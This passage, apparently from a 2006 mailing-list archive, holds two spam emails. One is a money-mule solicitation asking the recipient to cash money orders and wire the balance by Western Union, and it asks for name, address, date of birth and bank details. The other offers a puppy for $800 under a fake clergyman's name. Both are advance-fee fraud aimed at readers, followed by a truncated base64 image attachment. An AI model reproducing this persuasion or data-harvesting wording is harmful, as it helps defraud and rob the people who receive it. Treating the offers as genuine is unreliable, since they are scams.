batiks, assorted fabrics and traditional costumes.We have clients we supply weekly in the states and my clients make payments for our supplies every week in form of money orders or cashiers check which are not readily cashable outside the US or Canada,so I need a honest and sincere individual in the States to work as my representative and assist me in processing the payments from our clients and I will pay him/her 10% per each payment recieved on my behalf,you are likely to recieve payments once per week. AN IDEA OF WHAT YOU ARE EXPECTED TO TAKE CARE OFF Receive payments from my patronizing customers in the States on my behalf and get it cashed at your bank, then deduct 10% from the total funds recieved as your workmanship and forward the balance to me Via Western Union Money Transfer.(the transfer charges should also be deducted from the total amount your sending to me) or a Bank Transfer Sheryl Shavers (my former representative has moved to Germany with her family) Our payments will be issued out in your name and sent to your contact address. So all I need is to forward your information to my numerous customers in the states and they will contact you before they issue payment in form of money order to you. Hope to get a favourable reply ,accepted to be my rep and get back to me with the following informations in this format. First name: Last name : Full Address/city/state/zip code : Tel numbers: Sex : Date of birth : Are you employed/self employed? Do you have a checking account? I will need this informations from you for my record,also if you require more information and photo of me, do not hesitate to contact me,i will give you a call asap. Thanks and God bless. PAUL SMITH From owner-xfs@oss.sgi.com Tue Oct 31 05:51:29 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 31 Oct 2006 05:51:51 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9VDpSaG027766; Tue, 31 Oct 2006 05:51:29 -0800 X-ASG-Debug-ID: 1162299081-25551-311-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ws5-1.us4.outblaze.com (ws5-1.us4.outblaze.com [205.158.62.131]) by cuda.sgi.com (Spam Firewall) with ESMTP id 870964E662B; Tue, 31 Oct 2006 04:51:21 -0800 (PST) Received: by ws5-1.us4.outblaze.com (Postfix, from userid 1001) id C32D843D85; Tue, 31 Oct 2006 12:19:56 +0000 (GMT) Content-Transfer-Encoding: 7bit Content-Type: multipart/mixed; boundary="_----------=_1162297196135381" MIME-Version: 1.0 From: "rev. Edward J. Higgins" To: willingtonpayne@hotmail.com Date: Tue, 31 Oct 2006 20:19:56 +0800 X-ASG-Orig-Subj: reverend dog for sale Subject: reverend dog for sale Received: from [195.166.241.163] by ws5-1.us4.outblaze.com with http for rev.edward@kittymail.com; Tue, 31 Oct 2006 20:19:56 +0800 X-Originating-Ip: 195.166.241.163 X-Originating-Server: ws5-1.us4.outblaze.com Message-Id: <20061031121956.C32D843D85@ws5-1.us4.outblaze.com> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24642 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9504 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: rev.edward@kittymail.com Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. --_----------=_1162297196135381 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="iso-8859-1" Hello, I am Reverend Edward J. Higgins of the Church of the Immaculate Conception in Astoria, Long Island, New York.I have a beautiful dog which i will like to give out at token .I have to disposed my dog(Jerry) out all because i was moved to Africa for the church gospel. He weighs 37 lbs. I measured him standing, from the ground to the top of his shoulder blade...he is 22". His coat is VERY soft, almost like a rabbit. It is curly when it is wet, but then dries very straight and fluffy. (Not frizzy) It is quite beautiful, if I do say so myself! :-) He does not shed AT ALL!!! Everyone is amazed that he has such a long flowing coat, but you never find his hair anywhere! He is a complete house dog, but looking at my house, you would never know it.he is VERY pleased with the temperament and look of Ace. This are some things bible talk about animals which we must put into practice by having them with us and giving them the maximum love we can.......thus: Both mankind and animals are formed from the ground (Genesis 2:7, 19). This reveals that the physical bodies of both are similar, but it does not tell us about their immortality God=92s covenant with Noah included both people and animals (Genesis 9:9-11). However, that covenant was not one of eternal life, but that He would not again destroy the earth with a flood At some future time, Christ (a Rod from the stem of Jesse) will bring about a time of peace where all animals and man will be in harmony (Isaiah 11:1-9). Still, the description is not necessarily of heaven, and these animals are not necessarily reborn animals. We have pets that have personalities and feelings, and can think and reason. It seems as though whatever it is that makes each pet unique (a soul) is like that which makes each human unique. =93God shall judge the righteous and the wicked, For there is a time there for every purpose and for every work. Below are some pictures of a male puppy named Jerry from Darby's last litter born 4-17-06 (she has only ever had 1 litter), he is 5 months old in the pictures. Price: $800.00 Gender: Male Nickname: Jerry Age: 22 weeks Color: white and milky Availability Date: 10/11/2006 Size at Maturity: Small Potential: Show Potential Champion Bloodlines: Yes Champion Sired: No Payment: Cash only What's Included: UTD shots/worming Microchip AKC registration Vet Exam Health Certificate Travel Crate policy ; I interview the prospective client with the Adoption Application. We perform puppy aptitude testing on jerry, so that i may assist you when choosing your new family member Guarantee; You have the opportunity to have your own veterinarian examine your new puppy within a week after taking him home before delivery via dhl to you. Feel free to e-mail if you are interested in having the dog with you as soon as possible . God bless. Rev. Edward J. Higgins --=20 _______________________________________________ Get your free email from http://mail.kittymail.com --_----------=_1162297196135381 Content-Disposition: inline; filename="jerry.jpg" Content-Transfer-Encoding: base64 Content-Type: image/jpeg; name="jerry.jpg" /9j/4AAQSkZJRgABAAEAkACQAAD//gAfTEVBRCBUZWNobm9sb2dpZXMgSW5j LiBWMS4wMQD/2wCEAAgGBgcGBQgHBwcKCQgKDRYODQwMDRsTFBAWIBwiIR8c Hx4jKDMrIyYwJh4fLD0tMDU2OTo5Iis/Qz44QzM4OTcBCQoKDQsNGg4OGjck HyQ3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3 Nzc3Nzc3N//+AB4CAAAAAgAAAAQAAABaAAAAAwAAAAQAAAAAAAAA/8QBogAA AQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoLAQADAQEBAQEBAQEBAAAAAAAA AQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQci cRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZH SElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqi o6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq 8fLz9PX29/j5+hEAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMi MoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZH SElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJma oqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq 8vP09fb3+Pn6/8AAEQgDAAJAAwERAAIRAQMRAf/aAAwDAQACEQMRAD8AugZI zXiXPVHeWuaVwGFRnimhkJA2kUCMgjbuUdVJq0hIZcp5ltLGB1BH6VQmjzaZ dkjrjHJFde5ykDD1pgVLgcEVpEzaKiHHFaGdiQcEYoQy9jfa/hQAzTW23qg9 60RJuP8Ae4oYhuOOtTsMTpQMsxLut5AOcc0mwiRIe1VcRatmCyHPpVRJki8p WVdgIH1rVGVgTTyJMGWIE/7YrVKI+csS6Wipua+gB/uhs0nGJKY+20yzkKmb Uo4sj+4TitItLoKUmX59G0D7IWGvM0m3hUg6+nem2uxKkzn0S4+xm3SJQd2f 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 